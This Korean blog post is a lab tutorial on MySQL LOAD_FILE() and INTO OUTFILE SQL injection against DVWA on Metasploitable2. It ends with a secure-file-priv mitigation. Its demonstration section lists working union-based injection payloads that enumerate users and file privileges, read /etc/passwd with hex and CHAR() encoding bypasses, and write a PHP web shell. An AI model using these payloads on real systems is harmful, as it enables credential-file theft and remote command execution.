티스토리 뷰

MySQL - LOAD_FILE() 함수 및 INTO OUTFILE 구문을 이용한 SQL Injection


( 1 ) LOAD_FILE() 함수

 

함수 원형 : LOAD_FILE(file_name)

파일을 읽고 파일 내용을 반환하는 함수로 이 함수를 사용하려면 LOAD_FILE() 함수로 불러올 파일이 서버에 존재해야 하며 해당 파일의 전체 경로를 지정해주어야 함. 또한, 해당 파일의 접근 권한도 반드시 있어야 함.

만약, 파일이 존재하지 않거나 읽혀지지 않는다면 NULL 를 반환함.

 

 

 

( 2 ) INTO OUTFILE 구문

 

파일에 선택한 행을 기록하는 SQL 문법임. (열과 행 경계선을 특정 출력 형식으로 생성하여 지정할수 있음) 기록된 파일은 해당 서버에 생성되며 파일을 사용할 수 있는 권한이 있어야 함. 기록될 파일은 기존 파일에는 사용할 수 없음. (예를 들어 /etc/passwd 와 데이터베이스 테이블 등이 파괴되는 것을 막을 수가 있음)

 

INTO OUTFILE 전제 조건은 아래와 같음.

1. MySQL 유저가 파일 쓰기 권한이 있어야 함.

2. 리눅스 유저 mysql 은 쓰고자 하는 폴더에 쓰기 권한이 있어야 함.

 

 

 

( 3 ) 공격 시연

 

Metasploitable2 의 DVWA 에서 SQL Injection 공격을 시연함. (보안 등급은 low)

거의 모든 SQL Injection 공격 시도는 컬럼을 파악하는 게 우선이며 그 컬럼에 맞게 공격 코드를 짜야 함.

LOAD_FILE() 함수와 INTO OUTFILE 구문을 이용한 SQL Injection 공격이 성공을 하기 위해서는 현재 사용 중인 MySQL 유저가 누구인지를 파악하고 해당 유저가 파일 권한이 있는지를 확인해야 함.

파일 권한이 있다면 LOAD_FILE() 함수와 INTO OUTFILE 구문을 이용한 SQL Injection 공격을 시도할 수 있음.

 

컬럼 갯수 파악

' order by 1 #

' order by 2 #

' order by 3 # <--- 에러 발생 (컬럼 2 개임)

 

MySQL 유저 확인

' union select 1, user from mysql.user #

 

 

MySQL 유저 목록의 파일 권한 확인

' union select 1, group_concat(user,0x3a,file_priv) from mysql.user#

 

/etc/passwd 파일 내용 출력

' union select 1, load_file('/etc/passwd') #

 

' union select 1, load_file(0x2f6574632f706173737764) #

' union select 1, load_file(char(47,101,116,99,47,112,97,115,115,119,100)) #

참고로 LOAD_FILE() 함수는 HEX 값도 불러올 수 있으며 위 0x2f6574632f706173737764 를 HEX Decoding 하면 /etc/passwd 임. 또한 헥사값을 문자열로 출력하는 CHAR() 함수를 인자로 받아 우회가 가능하며 해당 값을 풀면 /etc/passwd 임.

 

WebShell 만들기

' union select 1, "<? system($_REQUEST['cmd']); ?>" into outfile '/var/www/dvwa/vulnerabilities/sqli/koromoon.php' #

 

192.168.150.134/dvwa/vulnerabilities/sqli/koromoon.php?cmd=ifconfig

Metasploitable2 의 MySQL 데몬이 쓰기 권한이 없어서 에러가 발생함. 에러가 발생되지 않게 설정해보았으나 실패함. ㅠㅠ

 

 

 

( 4 ) LOAD_FILE() 함수와 INTO OUTFILE 구문의 경로를 제한하는 방법

 

--secure-file-priv=path 옵션으로 LOAD_FILE() 함수, LOAD DATA, SELECT ... OUTFILE 을 특정 디렉토리 내의 파일만 허용하도록 설정할 수 있음. 해당 옵션은 동적으로는 설정값을 변경할 수 없음. my.cnf 설정 파일의 [mysqld] 섹션에 다음과 같이 설정을 함.

 

[mysqld]

...

secure-file-priv=/var/tmp

(여기서 경로는 LOAD_FILE() 함수를 사용할 수 있는 경로를 말함. 운영 환경에 맞게 설정할 것!)

 

 

 

참고 사이트 : 

http://www.exploit-db.com/papers/14635/

http://dev.mysql.com/doc/refman/5.1/en/select-into.html

http://coffeenix.net/board_view.php?bd_code=1707

http://www.mysqlkorea.com/sub.html?mcode=manual&scode=user&m_no=23109&cat1=&cat2=&cat3=%25A1%25B4=k&ver_name=USER

http://www.tullyrankin.com/mysql-load_file-sql-injection

http://www.securitytube.net/video/6598


댓글
안내
궁금한 점을 댓글로 남겨주시면 답변해 드립니다.